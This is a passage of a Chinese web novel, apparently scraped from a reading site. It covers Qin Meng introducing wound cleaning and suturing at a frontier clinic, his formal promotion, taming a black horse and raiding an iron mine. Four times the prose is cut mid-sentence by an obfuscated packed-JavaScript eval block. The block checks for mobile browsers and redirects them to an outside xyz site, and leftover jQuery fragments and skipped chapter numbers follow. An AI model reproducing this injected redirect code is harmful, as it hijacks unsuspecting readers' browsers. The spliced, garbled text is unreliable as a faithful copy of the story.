秦猛不容置疑地指向水盆,“故而,医者双手洁净。凡用于伤患之布带、器具、皆须用净水彻底搓洗后,再以沸水蒸煮至少半刻时辰。”
“若紧急时刻无法蒸煮,或用盐水清洗伤口,器具。
亦可用新鲜生宁(生姜)、葫蒜(大蒜)捣碎取汁,浸润布条、洗净,此二物皆有杀…抑制毒邪之力。”
“敷料中掺入捣碎的忍冬(金银花)。每日令伤者服用忍冬煎汤,此物清热解毒,最能对抗溃烂高热。”
唐博眉头紧锁,沉默片刻,秦猛所言如同天方夜谭。
但提到“生宁”“葫蒜”“忍冬”,这些古方中确有零星记载其能“抑疮疡”“清热毒”,或许真有几分道理。
看着秦猛笃定的眼神,再看着士兵那明显开始恶化的创口。
他终于开口,带着探索的意味:“大人所言‘毒邪’之说虽为奇谭,然生宁葫蒜汁可抑疮疡、忍冬清热解毒,古方确有散记,下官……愿一试!”
“光试不行!人命大于天,必须严格执行!”秦猛边说边解下腰刀递给亲兵,“我与你同做。实不相瞒,医道之事,秦某也略知一二!”
这话一出,躺着的伤兵全都惊呆了。
唐博更是瞠目结舌——堂堂知寨官竟要亲手做这等“污秽”之事?
“发什么愣?”秦猛沉声催促:“快取来干净的细白新布。取上好的生姜大蒜,立刻动手!”
唐博猛地回神,眼中闪过一丝复杂,随即朝药童急声吩咐,取来胡蒜,生宁等物捣碎取汁。
药童不敢耽搁,飞奔而去。
很快,所需物品全部备齐。
秦猛挽起袖子,亲自动手示范,先用浓烈的姜蒜汁仔细搓洗双手,又命令将新布条在浓汁中完全浸润并反复揉搓,最后在清水中洗净。
他指导唐博用盐水为伤兵清洗伤口。
接着,亲自执起布条为伤兵包扎,手法沉稳、精确,折叠缠绕极富章法,既能有效止血固定,又不至于勒得过紧,用布节省且效果更佳。
裹好后,伤兵轻轻活动肩背,惊讶道
“多…多谢大人,比先前舒服不少,不觉勒得慌了!”
一旁观看的唐博心中掀起惊涛骇浪,忍不住问道:“大人,您这包扎手法……从何**来?竟如此娴熟精妙?”
“先祖托梦所授。”秦猛放下布头,神色淡然地回答。
“哇!哥!”清脆又带着惊讶的声音从门口传来,“你…你真会医伤?跟唐医官一样厉害?”
秦猛扭头看去,只见妹妹秦小芸蹦跳着进来,身后还跟着陈月娘和几位妇人,她们手中都端着木盆,里面放着清洗干净的纱布和衣物。
陈月娘见秦猛看过来,略带忐忑地解释道:“猛子哥…近日裁缝工坊赶制冬装,实在抽不出人手。
我看医所这边衣物纱布堆积如山,气味也重,唐医官和童子过于忙碌,便与几位婶子商议着来帮忙浆洗晾晒,做些力所能及的杂活。”
秦猛的目光落在陈月娘那双被水冻得微红的手上,又看向木盆里那些洗净透亮的纱布。
他脸上冷峻的线条瞬间柔和下来,点头赞许道:“好,做得对。军医所是伤兵续命之地。
亦是我军寨存续的命门,其紧要不下于城防兵器,你能想到此节,眼光长远,了不起。”
他走近一步,声音清晰而郑重:“况且,身为未来的寨主夫人,理应有一颗仁慈之心。为^_^照料受伤的袍泽兄弟,亦是你的本分担当!”
“寨主夫人…”陈月娘浑身剧震,猛地抬起低垂的头。
它眼中的闪躲尽数褪去,瞬间被巨大的惊喜、羞涩和前所未有的踏实感填满。
秦猛第一次在众人面前如此明确她的身份,这
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16418872|184734||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
巨大的肯定让她心跳得飞快,脸颊绯红如霞。
巨大的喜悦化作勇气,她挺直腰背,看着秦猛,声音虽轻却异常坚定:“那…月娘想…不只做浆洗,更想随唐医官学习治病救人的本事。
跌爹昔年曾教过我辨识许多草药的寒热温凉,认得些药性,也曾上山采过药,我有这个底子!”
秦猛眼中的欣赏之色更浓,他略一沉吟,便果断拍板:“好!白日你便可来医所帮学请教。
晚间归家,我便将这包扎之术传你。今后这清洁包扎之法,便由你教导所中药童、妇人!”
他又转向唐博:“唐医官,月娘是我的家人,亦是你的弟子,今后多多叨扰,望费心教导。”
陈月娘闻言,眉梢眼角都焕发出明亮的光彩,用力点头应下。
此时,秦猛目光扫过另一名腹部皮开肉绽、伤口难以闭合的伤兵,腹部上缠绕的纱布渗血。
他对唐博提出一个更惊世骇俗的想法:“唐医官,这等大口撕裂伤,皮肉分离如此之远。
单靠敷药包扎,我觉得不妥,愈合缓慢且极易入毒,是否可考虑……用针线将其缝合?”
“如同缝衣般,拉拢伤口两边皮肉对合紧贴,岂不更利涂药,止血愈合,减少瘴邪侵入?”
“缝合?”唐博如遭雷击,双目圆瞪,脱口而出,这念头比之前的“消毒”之说更骇人听闻。
但下一秒,作为一名优秀医者的直觉灵光乍现。
对啊!大的创口难愈,主因就是两边组织分离,若能强行拉拢固定、缩短距离,愈合速度定会加快。
他脑中仿佛打开了一扇全新的大门,喃喃自语:“如…如缝衣般…拉拢对合…加速愈合…”
随即,他眼中爆发出炽热的光芒,猛地看向秦猛,语气急切:“请…平大人教我。此…此法细思……竟有可行之理!敢问如何操作……”
接下来半个时辰,秦猛将清洁、缝合概念等医疗智慧,用“古方旁证”讲给唐博。
提及针具选绣花针改造、线用桑皮线或沸煮丝线、可试麻沸散减痛,只给方向留细节让唐博探索。
唐博如饥似渴倾听,举一反三想到针线需蒸煮消毒,追问不停,看向秦猛的眼神满是敬佩。
秦小芸满眼崇拜瞅着哥哥,陈月娘换药时侧耳听讨论,望秦猛的目光含着庆幸、敬仰与柔情。
秦猛见唐博架锅煮布、加忍冬、换洗伤水,知“消毒”已生根,便挨个慰问伤员,许诺抚恤,伤兵眼中重燃希望。
夕阳西沉,余晖透窗,秦猛带疲惫与轻松起身。
行至院外回望,唐博用煮过的长筷夹热布,轻覆伤员创口,神情专注如朝圣,俨然听进去了。
军医所内“生存希望”悄然生长。
而秦猛陪陈月娘、秦小芸回家,家中灶火泛暖光。
陈月娘畏寒头晕,秦猛道:“着风了,用老姜葱白熬汤发汗,煮小米粥养脾胃,忌生冷油腻。”
秦小芸缠上来:“哥,教我功夫!”
秦猛在院中借微光教她扎马步、出拳发力,演示女子实用擒拿,秦小芸学得投入,斗志昂扬……
第57章 帅司正式任命
翌日,清晨时分。
秦猛早早到了校场,投身热火朝天的练兵之中。
他一丝不苟地纠正步卒的阵列疏漏,亲自示范简单的擒拿关节技,严格招募新兵,宁缺毋滥。
秦猛骑术只能说娴熟,马战更是不怎么擅长。他的目光扫过飞虎精锐,紧盯他们控马姿态常博
甚至虚心向袁飞请教骑射心得。
枣红马驮着主人矫健的身影,在校场狂奔,嘹亮的嘶鸣声不断为这砥砺刀锋的场面擂鼓助威。
练兵空隙,他这个知寨官得抽空巡视堡外建设,规划居所、街道,与工匠师傅们商议,先以沙土袋子混合着水,在外面立起一圈冰墙。
他还要找老保长,请他模仿笔迹,伪造字据。
堡寨内各处作坊之事也要他过问。
铁匠作坊,熔炉日夜不息,火星四溅。
裁缝坊内,数十妇人飞针走线赶制冬衣被褥。
炼盐工坊老保长全权负责,经过扩建,蒸腾的热气里,二十余名稳重可靠的堡民勤力劳作,每日产出数袋雪花精盐,换取着宝贵的资金。
木工坊最为热闹。大师傅鲁明须发沾染木屑,正领着一群巧匠敲打组装一座高大的木质“怪家伙”。
——原始蒸馏器的框架已巍然立起。
旁边地上散落着几个瓦罐,浑浊液体散发着酒气。
多次尝试后失败,鲁明正小心翼翼地用熬化的鱼胶,仔细填补部件连接处每一处缝隙。
“大人放心!”鲁明见秦猛到来,扬起花白胡子,眼中燃烧着创造的火焰,“差的就是密封这点活儿,顶多三两天,准保这玩意没问题。”
秦猛描述的“酒中精华”“浓香扑鼻”之类的话语。早已勾起了这位匠痴的无限好奇与渴望。
时间飞逝,太阳西斜。
诸葛风、张富贵率队先从二十里外的青阳县归来。
车队是浩浩荡荡,绵延数里。
此行收获颇丰,招募到上百青壮,三百多流民,还从县城购置了盐巴、粮食、铁料等大批物资。
捕奴团掳人,冷艳山贼肥猖獗等消息有心散播。不少富户送钱送粮,资助边军剿灭贼寇。
青阳县知县为感谢军堡解救治下百姓、协助撤案销状,特送来一千石粮食、百头猪羊劳军。
他还备了份贺礼,百两纹银和十卷江南绸缎。托付诸葛风转交秦猛,是为恭贺他升任知寨。
消息传开后,青阳县大小官吏也闻风而动,不同体系却得仰仗边军,纷纷备礼前来道贺。
一时间,军寨门前热闹非凡。
这些琐事是老保长和诸葛风负责处理,秦猛一行扑在练兵上,没时间与这些人惺惺作态。
次日午后,秦大壮率队姗姗归来。
他从南河城寨带回了数十个青壮、百多流民,以及城寨给的军备,采购的粮食、铁料等物资。
却也带来一个糟糕的消息!
——城寨内几家粮铺、矿行、布庄竟都宣称货物告罄。
“不对!”秦大壮忧心忡忡地汇报道。
“我看各粮行、布庄里有粮食有棉花,他们就是不愿意卖!一听说是南河堡寨,脸色当场就变了。”
“我找了相熟的粮铺掌柜打听,软磨硬泡又塞了钱,对方才偷偷透露,说咱们是得罪人了。”
“是这样?”秦猛恍然大悟,脸上却并无意外。
他转而问道:“那常氏粮行呢?”
“常氏商行倒是依旧愿意做生意,咱们这次带回来的粮食、铁料,八成都是他们提供的。”
秦大壮先松了口气,随即又愁眉不展:
“可咱们戍守边疆,不惹事,到底哪里得罪人了?”
秦猛冷笑几声,并未过多解释。
他早已料到会有这样的阻挠,也知道是谁搞鬼。
好在之前已提前联络本地的李家粮行和罗记矿行,两家未受影响,仍在不断往军堡输送资源。
“好了,兵来将挡,水来土掩。”秦猛拍拍秦大壮的肩膀:“先不管这些,把新来的人安顿好。”
说罢他转身便赶赴堡外新区。
军寨越来越热闹了,近来接连涌入不少人落户。
首批是被陆续吸引引来的少数流民。
第二批就是此前解救的人及其家眷。
第三批由诸葛风带回,不少人有家眷。第四批便是秦大壮此次带来的流民,也是拖家带口。
前段时间加紧搭建的茅草屋此刻正好派上用场。
老保长王槐带队登记户籍、统计人口,以便后续分配活计。
堡外空地上,几口大铁锅正熬煮着浓香的肉粥。
肉香味弥漫,飘散!
那些忐忑的流民望着翻滚的粥锅,再看周围忙碌却有序的景象。分配住处,发放棉衣被褥。不禁眼眶发红,心中的惶恐也被暖意悄悄取代。
整个南河军寨,依旧像一块投入洪炉、锻打待成型炽热铁胚,却悄然孕育着初具雏形的力量。
就在秦猛为人口涌入而忙碌时,寨门处骤然响起一阵急促的马蹄声,伴随着徐强兴奋的呐喊:“秦将军,飞虎卫赵将军亲卫副队长到!”
一队约三十余骑的精锐骑士,裹挟着滚滚烟尘旋风般卷过寨门。
为首者身形挺拔,铁甲精良,外罩飞虎军制式战袄,气度干练沉凝,正是赵将军心腹亲卫副统领周扬。
他身侧紧随一名文吏模样的中年人,青色官服,外套轻甲,当是帅司派来的勘验官无疑。
“奉帅司军令,特来核查南河戍堡所斩获级及缴获,勘验密图!”
周扬翻身下马,动作干净利落,朗声出示令牌文书。
秦猛早已在众人的簇拥下赶来,大步出列拱手:“小南河军寨知寨秦猛,恭迎周将军、上官。”
核查过程严谨高效。
周扬带来的人手极其熟练地勘验了那两百多颗**首级,重点辨明创伤痕迹、随身物品以确认身份等级。
那送到飞虎大营,象征谋克勃极烈身份的金印、腰牌令箭,以及图囊中的密图,更是重中之重。
飞虎卫赵将军提名保举,是走过形式。
帅司勘验官对照报捷文书逐项记录,一丝不苟。亲率帅司人马查看冰封的**尸身和首级。
问询时间,地点,战斗细节。
秦大壮,张富贵等
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16418873|184734||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
人则在一旁极力补充印证。将秦猛当夜如何伏击、如何格毙图鲁木部勇士扎哈尔的凶险过程,更是描摹得绘声绘色,惊心动魄。
勘验完毕,帅司勘验官沉稳点头,以示无误。
双方验证完成,方才算军功落定。
周扬脸上肃然的表情这才缓和,展露笑容,郑重地捧出一份印制精美的任命文书,朗声宣令:
“秦猛听令!经帅司复核,小南河戍堡秦猛率部阵斩图鲁木部勇士扎哈尔,等两百五十三级。
缴获金印、令箭、密图等军国重器,功勋卓著,大振军威!特擢升秦猛为飞虎卫磐石营副将,兼小南河军寨知寨。
帅司特许,秦副将节制南河军寨,并统辖双涡港堡、重建芦苇堡废堡,
三堡寨防务、屯垦、军民诸务,皆由尔提调,帅司自会调拨钱粮,务求整饬边备,力抗强虏!
着即拨付:床子**两台,铁甲二百套、制式弓**两百张,长刀短矛三百件,粮食千余石。
另赐个人上品飞虎精铁重甲一领、精铁胄一顶、校尉制式战袄袍服三身、银钱五百贯、布帛十匹。麾下将官皆赏甲胄钱粮,以彰其功。”
随着喝令,数名军卒将一套厚重、甲叶森然幽亮的山文重甲,靴子,腰带,头盔等物齐全。
那冰冷沉重、闪耀着战争光泽的甲胄,肩铠狰狞虎头,栩栩如生,瞬间镇住了在场所有人。
崭新的将校战袄袍服、亮闪闪的银钱、布帛……
秦大壮,张富贵等人同样领到甲胄,袍袄,财帛赏赐。无不在昭示着权力与荣耀的加持。
辕门外,两架需数名壮汉协力推动、形制狰狞的庞大床**被牛车缓缓拖入。
紧随其后,堆满几辆大车的木箱中便是那沉甸甸的二百套铁甲,弓**,武器,防具等军械。
“末将秦猛,领命。叩谢帅司恩典,感念赵将军提拔!誓当恪尽职守,保境安民,万死不辞。”
秦猛肃然上前,大声回应。双手接过那象征权力跃升的文书与重甲,胸中一块巨石轰然落地。
这正式任命不仅是保障,更是如同强效的催化剂。
——招募人手,索求资源,从此名正言顺。
军寨下辖两座边堡,防务虽然沉重了,但重要的是将根基拓深拓宽,地盘人口,乃立足之本。
帅司人马公务繁忙得紧,并没有多留,留下文书、物资与无声的见证,策马疾驰回返复命。
当然,秦猛没有让他们空手而归。
在核算期间,他趁人不备送了点小礼。帅司勘验官得了锭金元宝,随行人员人人掉了银锭。
周扬等军汉吃饱喝足,秦猛托他们捎带边境土特产。人情世故这方面,他还是略懂一二。
总之,帅司和飞虎卫来人满载而归。
直白来讲,人家来,嘴巴冻得乌青,总要有点安慰……
但这座小小边寨的热情远非一纸任命能完全框定。
秦猛正式被任命为知寨官,堡寨上下欢呼一片。
这条消息也被老保长推波助澜般地散播出去。想必会有许多人被军寨的优越条件吸引而来。
第58章 踏雪乌骓
堡寨人员的安顿工作由老保长和诸葛风负责。
秦猛因此清闲了不少,在军营食堂吃过饭后,便准备开始驯马。
此前**来袭,他得了三匹好马。
第一匹是女真猛安兀鲁思的坐骑,一匹神骏的枣红马,兼具温驯与剽悍,被他定为常用战马;另一匹是烈火马,爆发力强,暂作备用。
最特别的是,第三匹黑马——通体如墨,唯有四蹄环绕一圈纯白毛发,故得名踏雪乌骓。
是图鲁木第一勇士扎哈尔生前的坐骑。
这马性子极烈,刚被俘时就差点踢伤多名戍卒。
这匹乌骓,仅肩高足有八尺开外,体型高大匀称,肌肉线条流畅,通体毛发乌黑油亮,火光下像最上等的锦缎,一眼便知是罕见宝马。
近来经堡内擅养马的堡民小心调教,它总算勉强允许人靠近鞍辔,但要真正驯服,绝非易事。
此刻它正关在特制的坚实马厩里,烦躁地刨着蹄子,鼻孔喷出浓重白气,死死瞪着靠近的人影,野性丝毫未减。
“哼,白吃白喝几天,也该出力了。”
秦猛丝毫不怕,大步流星地走向马厩。
“大人小心,这几日,它又踹伤两个人了!”负责照料马匹的马夫见状,连忙上前提醒。
“无妨!”秦猛目光锐利如鹰,牢牢锁定这匹桀骜的宝马。
踏雪乌骓似乎认出了杀前主的秦猛,见他靠近,顿时变得异常暴躁,嘶鸣一声后,巨大的头颅猛摆。
两只碗口大的前蹄直踢秦猛胸膛,劲风扑面,力道足以碎石。
面对这凶猛攻击,秦猛嘴角勾起一抹冷笑,身形在电光火石间微晃。
他左脚精准向前踏出一小步,避开一只马蹄,同时右肩顺着马身冲势轻巧卸力,马蹄裹挟风声,几乎擦着他肋下的甲叶掠过,险之又险。
趁乌骓踢空重心不稳的瞬间,秦猛左臂闪电般探出,五指如铁钳,一把抓住辔头根部连接嚼铁的口环。
——这正是马匹发力的关键枢纽。
“嘿!”秦猛吐气开声,扑至马儿身侧,右臂同时如铁箍般,猛然勒紧马脖子下方的筋络。
他不是要勒死马,而是用恐怖的臂力压制马的发力点,同时沉下身体,像钉在地上般稳固。
秦猛矮身沉腰,足下生根,硬生生扼住了乌骓的狂暴冲势。
乌骓又怒又怕,奋力挣扎,嘶鸣着猛冲出去。秦猛暗道不好,却不撒手,单脚踩上马镫。
“咔嚓”一声,竟拉断了拴马的木柱子。
乌骓狂性大发,本想撞向周边人群,可不少军汉手持利刃,一转身,拖着断木疯了般冲出军营。
马夫和周围的军卒纷纷四散躲避,下意识抽刀。却见这匹马儿通灵,眼睁睁看着它逃走。
“大人,大人。”
“看什么看?快追!”王善和**最先回过神,立刻招呼亲卫翻身上马,朝着乌骓逃走的方向追去。
“继续训练,小小马儿,奈何我不得。”
本来在训练的乌维,李山等军卒也要来相助。可秦猛低沉有力的吼声响起,便继续操练。
此刻冲出军营的乌骓马仍不消停,在军堡内又蹦又跳,四处乱窜。
秦猛还没完全爬上马背,只能死死抱住马脖子,冲着前方大喊:“让开,马发狂,快让开!”
幸好军堡内的道路狭窄,乌骓速度无法完全展开。
沿途的人听到呼喊后及时避让。
倒没有造成人员受伤,只是免不了一阵鸡飞狗跳。
路上的人都诧异地看着发狂的乌骓和死死抱颈的秦猛,议论纷纷却没人敢上前,也追不上。
随后,“得得得”一阵急促的马蹄声传来,王善率领亲卫队策马狂追而来,紧紧跟在乌骓身后。
很快,乌骓从堡寨前门冲了出去。
一出堡门便甩开四蹄,发狂般狂奔乱跳,还疯狂摆头扭身,甩动大脑袋撞击,想把秦猛从背上甩下去。
以它狂暴的力量,摔碎普通壮汉的骨头易如反掌。可此刻,却感觉脖子上像箍了道烧红的铁索,呼吸困难,怎么挣扎都甩不开秦猛。
“老实点!”
秦猛几次抬腿,想要跨上马背骑乘。却被马儿蹦跳破坏,他不禁恼怒,声音低沉如闷雷。
他手臂上的肌肉贲张如磐石,腰腹核心力量全爆发,死死抱住马儿,任凭乌骓挣扎尥蹶,都无法将他甩开分毫。
一人一马如同在旷野上陷入激烈角力。
堡墙上的戍卒看得屏住了呼吸,见乌骓还在不甘地打响鼻、刨蹄子,也甩不掉秦猛束缚。
“将军威武。”不少人忍不住松了口气,开始鼓劲。
秦猛这家伙也是个另类,何况手中拽着缰绳。
这场角力的结果毫无悬念——乌骓马的暴烈气势,正被秦猛纯粹而霸道的意志强行按捺。
“啊!”秦猛抓住机会,脚下一蹬地,身体如展翅苍鹰般轻盈,踩上侧边的铁蹬,腰腹发力一拧,稳稳坐上马背,动作快得让人眼花缭乱。
乌骓感觉到背上的重量,本能地嘶鸣起来,又是发了狂,猛地弓背跳跃,想把秦猛摔下去。
但秦猛的脚如焊在镫环里,双腿内侧死死夹住马腹,重心牢牢坠下,有规律地拉扯缰绳,单靠精湛骑术和核心力量就能保持平衡。
乌骓连续甩了七八个高难度颠马动作,秦猛的上身却只微微晃动,像狂风巨浪中的礁石,稳如泰山。
但这匹马性格暴虐,极难驯服。
旷野上,乌骓马越跑越远,时而跳跃摇晃,时而人立而起,可秦猛始终挽着缰绳、抱着马颈。屁股像粘在马背上一样,绝不下来。
一刻钟过去。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16418874|184734||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
br>乌骓浑身是泥浆草屑,却依旧凶悍,每一次人立、每一次扭转冲撞,都像裹着蛮荒的凶戾。
秦猛也好不到哪里去,浑身泥污,模样狼狈,铠甲下的单衣被汗水浸透紧贴皮肉,几处还被马的硬**磨破皮,每一次发力都牵扯着疼。
但他的眼神却更锐利,隐隐察觉每一次力量对撼、每一次意志碾压,都让他与乌骓间连起一道无形的枷锁,一种微妙的平衡在艰难凝结。
整整过去半个时辰,人马还在较量。
王善,**已经率领队伍赶来,观望未靠近。
秦猛脸色变得难看,胸膛剧烈起伏,嘴里呼出白气。手掌还残留着乌骓鬃**下滚烫的汗意。
他胳膊都发麻,酸胀,混着虎口因力竭微微撕裂的钝痛。
——方才的半个时辰,对他而言如同地狱,**在寨外空地上殊死较量,还没有驯服此马。
不过,乌骓挣扎的幅度越来越小,眼中的敌意渐变成惊惧,鼻息也带上了无可奈何的疲惫。
这匹烈马纯粹的野性力量,仿佛顺着接触导入秦猛的四肢百骸,让他的血液也随之沸腾燃烧。
“服不服?”秦猛凑到乌骓耳边喝斥着,双腿如铁箍嵌进乌骓绷紧的腹侧,臂膀肌肉虬结贲张。手中的缰绳被拉得笔直死死扣住马儿的冲势。
“嘶——呜噜噜!”
乌骓最后一次狂甩头颅,想把秦猛像落叶般甩下,马嘴里喷着带腥气的白沫,显然已到极限。
秦猛猛地一勒嚼铁,喉咙里爆出野兽般的低吼,力量瞬间叠加至巅峰,人与马的交锋抵达无声的临界点。
终于,乌骓心中抗拒的桎梏彻底断裂。
前一刻还在挣扎的它,浑身紧绷的肌肉骤然松懈,四蹄稳稳踏在泥地上,暴戾的气息如潮水般退去。
它缓缓低下头,顺从地打了个响鼻,气流拂过地上的枯草,随后马头侧偏,湿漉漉的眼睛回望秦猛,瞳孔里的火焰已熄,只剩一种奇异的光。
——不是屈服的灰暗,而是桀骜野马寻到雷霆之主的认可。
成了!
秦猛心中的巨石落地,紧绷的嘴角终于松开,泄出压抑已久的气息,终于是驯服了这匹马。
畅快的疲惫从四肢深处席卷而来,他抬手用被缰绳勒出红痕的手背,抹掉糊住眉眼的汗泥。
想起方才乌骓喷着带血沫的白气、肌肉如钢缆般紧绷颤抖的模样,秦猛心中生出一股豪情。
方才人与马的意志在旷野上空对撞,直到他一声“吁——”
如重锤砸碎乌骓最后的防线,一切才尘埃落定。
此刻乌骓安静地沉重喘息,头颅微垂,不再抗拒发狂,只是漆黑的双眼仍透过汗鬃回望,眼底桀骜未消,多了丝对绝对力量的认可。
——又仿佛是对“强敌”的惺惺相惜。
第61章 夜袭白松岭
“您的货,我包了,船队天黑就出发!
三路使者,快马通知北狼口、**滩、双塔镇所有船家货商。
半月之内,常家商号包保,那些被堵的货,一件不少,全给您移到指定地点,您只需派兵去接就行。”
他拍着胸膛,肥肉乱颤。
“那合作愉快。”秦猛也豁然起身,哈哈大笑,棱角分明的脸上是酣畅淋漓的果决,真诚。
两只手,一只粗糙布满力量与伤痕,一只肥厚滚圆蕴藏无尽财富——在空中,重重相击。
啪!
一声脆响,响彻官署。
窗外,乌维似乎也感受到主人心中激荡的风雷,发出一声响亮的、略带不甘心的叹气。
他从大山中走出,首次见到有人跟自己一样宽的人。觉得他有几下子,很想切磋较量一下。
可看到胖子跟主人有说有笑,这幅和睦的情况,知道打不起来。故而叹气,心中很是不爽。
残阳将南河堡巍峨的土石城墙镀上一层暗金。
常九并未离去,应秦猛之邀,缓步行走在堡内。
秦猛身披铁甲,步伐沉稳,每到一处便驻足详述。
“此处粮仓已被蛀蚀大半,我打算重建多栋。”秦猛踢了踢虫蚁密布的仓板,木屑簌簌落下。
“新粮须得快,至少再送来五千石军粮才保险。”
“近来伤兵不少,药材,棉花等也得多多囤积。”
“堡外修建新区,还有这箭楼,垛口,**弓矢强劲,需上好的铁料加固,至少数万斤才堪用。”
“硝石,硫磺,箭竹,火油等物资堡寨来者不拒。”
常九一袭裹着裘毛皮,安静聆听,只在关键处微微颔首或轻声回应:“粮食几日后可从沧州沿河运抵。
精铁料需从晋地采买,十日内送到。
硝石三千斤、硫磺两千斤,我的商队三日后就能送来堡外。”
他们沿着城墙巡视,从马厩缺料、武库兵器折损、到戍卒冬衣匮乏,一一敲定所需物资的种类与数量。
夕阳将两人的身影在堡墙上拉得老长。
不知不觉间,见周围又没有外人,话题悄然从硬邦邦的军需转到了南河镇与青阳县的产业上。
“说起刘扒皮嘛!”秦猛状似不经意地提起,眼神锐利地扫过常九,打着官腔,巧立名目。
“这老货是个人物,攒下肥肥家资。奈何儿子不中用,贪赌好色,许多产业尽数输给了他人。”
常九唇角微弯,指尖轻轻拂过冰冷的城砖:“确实可惜。听说他在南河镇外有处码头,青阳县东街口还有两处位置极佳的绸缎铺子?”
两人目光一触即分,仿佛闲话家常,却字字机锋。
秦猛点头:“不错。他还有个酒庄,地段尚可。产业至少二十处,用来招商引粮倒正合适。”
几句话往来,如同高手弈棋落子,在夕阳余晖中,死鬼刘德才名下的商铺、码头产业被瓜分。
秦猛以边军驻守之威和后续即将“正名”的手段取得所有权后,自己占其中两成股份,余下作为筹码。
常九则心照不宣,到时会在置下的“暗子”届时会参与“招标”,拿下他觊觎已久的几家核心产业。
“如此甚好,”秦猛最后道,“常家供我粮秣军需,我南河堡为常家提供便利,供给雪花白盐。”
“各取所需,互行方便。”
两人有利益捆绑,达成了无声的同盟。
夜色渐浓,官署灯火通明,排摆酒宴。秦猛将常胖子及随行人员,一股脑儿塞给王老保长和诸葛风负责招待。
他则借口军务繁忙,匆匆离席,召集麾下众将。
此前,幽州漕运司下令,严令所有商船不得驶入小南运河。
更是放出话狠话,禁止商队胆敢贩卖一粒粮食、一尺布料给南河堡。
这是刘德福以权谋私,证据确凿。
“好个‘为民父母’的判官。”秦猛眼中寒光暴涨。
对方撕破脸皮公开针对边军,他便无需再顾及情面。
“秦大壮,张富贵!”秦猛厉声下令,“紧闭堡门,弓上弦刀出鞘,严加戒备,遇袭则鸣烽火。
乌维、王善、**率亲卫队,再点三十戍卒、五十壮劳力。备马,举火把,随我出堡。”
“是!”
不多时,马蹄如雷,一行近百骑在火把映照下,如一条火龙冲入沉沉黑夜,目标直指白松岭。
白松岭是边陲比较少有的山岭,不高却山势起伏、松林密布。
碗口粗的白皮松漫山遍野,形成墨绿底缀灰白的景致。
幽州地广少山寡矿,白松岭却是例外,山内藏着丰富的赤铁矿。
这是已故财主刘德才的产业之一。
当年他靠此矿赚得巨额财富,攒下南河镇码头、千顷良田、二三十家商铺及几座山头的产业。
刘家灭门后,产业表面归家里女眷,实则被刘德福安插亲信掌控。
刘家出事后,矿洞佃户苦工逃了大半。
刘德福急派心腹马六**接管,开采矿卖获利。
这马六满脸横肉、目露凶光,挨家威逼利诱,聚拢百十来号佃户,矿工,日夜开采铁矿。
其中好处他得分走一部分,矿工待遇可想认知。
矿洞深处空气污浊闷热,马灯昏黄火光摇曳,映着矿工佝偻黝黑、满是汗泥的脸,铁凿声不断回响。
“快,再磨蹭老子抽死你!”马六扯着嗓子咆哮,牛皮鞭抽在动作慢的矿工背上,留下血痕。
那矿工闷哼一声,咬牙继续抡锤。
马六叉腰冲众人嘶吼:“都玩命干,刘老爷说大主顾急着要铁,谁挖得少,今晚没窝头。”
他走到洞口,朝山林吐口痰,压低声音威胁:“都把眼睛放亮,谁敢夹藏矿石,卖给南河堡军汉,别怪六爷剥你皮喂野狗,滚回去干活!”
突然,就在这时,山下传来急促的马蹄声,由远及近如闷雷,还伴着厉喝和宿鸟惊飞声。
“六爷
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16418877|184734||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,不好了。”守道口的两个打手连滚带爬地跑回:“好多马,是戍堡边军打着火把来了!”
话音未落,大队骑兵已经追上来。
洞口被映得通红,秦猛一马当先,冲出树林。
戍卒,乡勇举火把紧随,如燃烧的火墙照亮矿场。
百余双带硝烟的眼睛,冰冷锁定惊愕的人群。
“不好。”马六上次押粮时见过秦猛,见他带大队人马来矿洞,且气势汹汹,心中暗道糟糕。
他二话不说,带着几个心腹往矿洞里面钻。除了想避而不见,就是想拿这些苦工当炮灰。
“马六,你要干什么?”老矿工李老汉扶住挨打的同伴,见外面情况,聚拢矿工堵住矿洞。
“老不死的,给我滚开。”
